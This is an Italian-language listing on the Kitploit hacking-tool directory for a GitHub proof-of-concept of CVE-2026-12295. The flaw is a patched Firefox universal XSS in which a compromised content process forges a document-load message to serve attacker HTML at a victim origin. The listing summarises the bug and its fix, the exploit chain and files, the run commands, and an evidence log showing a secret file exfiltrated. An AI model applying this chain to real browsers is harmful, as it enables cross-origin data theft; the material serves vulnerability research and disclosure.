Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-12295-UXXS-in-my-wasm — Firefox content->parent srcdoc forge (N-day, bug 2040160): PDocumentChannel contraffatto con SrcdocData su un URI non-about:srcdoc -> HTML dell'attaccante servito all'origine della vittima (UXSS), tramite iniezione del percorso di invio mojo-port da un processo di contenuto compromesso | Kitploit
Strumenti/GitHubGitHub/sneakynachos/cve-2026-12295-uxxs-in-my-wasm
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaSviluppo Payload
GitHubsneakynachos/cve-2026-12295-uxxs-in-my-wasm

CVE-2026-12295-UXXS-in-my-wasm

Vedi Repository
12 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Firefox content->parent srcdoc forge (N-day, bug 2040160): PDocumentChannel contraffatto con SrcdocData su un URI non-about:srcdoc -> HTML dell'attaccante servito all'origine della vittima (UXSS), tramite iniezione del percorso di invio mojo-port da un processo di contenuto compromesso

Condividi

CVE-2026-12295 — dati srcdoc su un URI non about:srcdoc (UXSS in Firefox)

Proof of concept: un processo di contenuto compromesso forgia un caricamento PDocumentChannel il cui nsDocShellLoadState trasporta SrcdocData insieme a un URI arbitrario. Le build vulnerabili servono l'HTML dell'attaccante come documento all'origine della vittima — lettura same-origin + esfiltrazione (UXSS).

Target: Firefox 149.0a1 nightly @ 2fbc0748c4 (vulnerabile, pre-fix), macOS arm64. Corretto in Firefox 152 — bug 2040160, commit 54dc16d08771 "Reject srcdoc data on non-about:srcdoc URI loads".

Il bug

Il processo padre deserializza un nsDocShellLoadState dai messaggi IPDL content→parent. Il ctor vulnerabile rifiutava solo per i caricamenti attivati dal contenuto; non veniva validato. Quando uno stato di caricamento trasporta dati srcdoc con un URI che non è , il docshell costruisce un canale input-stream che serve l'HTML srcdoc — e il documento risultante ottiene l'origine dell'URI.

javascript:
SrcdocData
about:srcdoc
a quell'URI

La correzione aggiunge un FatalError nel ctor IPDL di nsDocShellLoadState quando !mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI), oltre ad assert di hardening in nsDocShell e Document::StartDocumentLoad.

Bug correlato: CVE-2026-74939 (RemoteTypeOverride) — stesso ctor, stesso messaggio trasportatore, stessa meccanica di consegna (vedi ../poc-cve-2026-74939). Questo PoC riutilizza quella forgia con un campo diverso attivato; non è necessario RemoteTypeOverride.

La demo

  • La pagina dell'attaccante srcdoc.html su http://127.0.0.1:8778 (origine A, compromessa tramite le primitive wasm stage-1 in wasm-bytes.js).
  • Forgia un ctor PNecko::PDocumentChannel: URI = http://localhost:8778/nav.html (origine B), SrcdocData = <HTML dell'attaccante>, BrowsingContext di primo livello di un popup about:blank nello stesso processo — consegnato tramite il percorso di invio mojo reale (operator new → ctor IPC::Message → Pickle::WriteBytes → MessageChannel::Send).
  • Il padre accetta il caricamento, commuta il processo del popup a webIsolated=http://localhost, e il docshell serve il nostro HTML come documento all'origine B.
  • Il payload recupera /secret.txt (same-origin su B — un vero fetch cross-origin da A sarebbe bloccato da CORS) e lo esfiltra verso A.

Evidenza (/tmp/srv.log dopo ./irun):

root@kitploit:~
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D

File

FileScopo
srcdoc.htmlPagina PoC, eseguita all'interno del processo di contenuto compromesso
forge.pycostruisce il messaggio forgiato (auto-verificante) → forge.bin/forge.json
wasm-bytes.jsprimitive stage-1: arb R/W, chiamate funcref (CVE-2026-2796)
mdrive2.pyharness marionette per avviare e pilotare Nightly
irunesecuzione strumentata: lldb attach al padre + evidenza MOZ_LOG/srv.log
profile.user.jspreferenze del profilo Firefox (fission attivo, dump abilitato)
parse_dc.pyparser byte-esatto per i messaggi DocumentChannel catturati
captured-messages/dc_1.binmessaggio reale catturato, usato come template per la forgia
nav.html, secret.txtfixture della pagina vittima + segreto per la demo

Esecuzione

Prerequisiti: build Nightly vulnerabile in /Users/sid/gecko-2766/obj-browser, .venv con psutil, e un web server su 0.0.0.0:8778 che serve questa directory (es. python3 /tmp/srv.py, con log su /tmp/srv.log).

root@kitploit:~
python3 forge.py     # costruisce forge.bin/forge.json (auto-verificante)
./irun               # avvia + inietta + raccoglie evidenza

Nota: un processo di contenuto può andare in SIGSEGV al teardown dopo l'invio (GC sugli oggetti finti); tutta l'evidenza viene emessa prima di quello.

Riferimenti

  • Bug Mozilla 2040160 — commit di correzione 54dc16d08771 (MFSA 2026-57, Firefox 152)
  • CVE-2026-74939 — forgia correlata dello stato di caricamento (RemoteTypeOverride)
  • CVE-2026-2796 — RCE stage-1 del contenuto che fornisce le primitive
Scarica lo strumento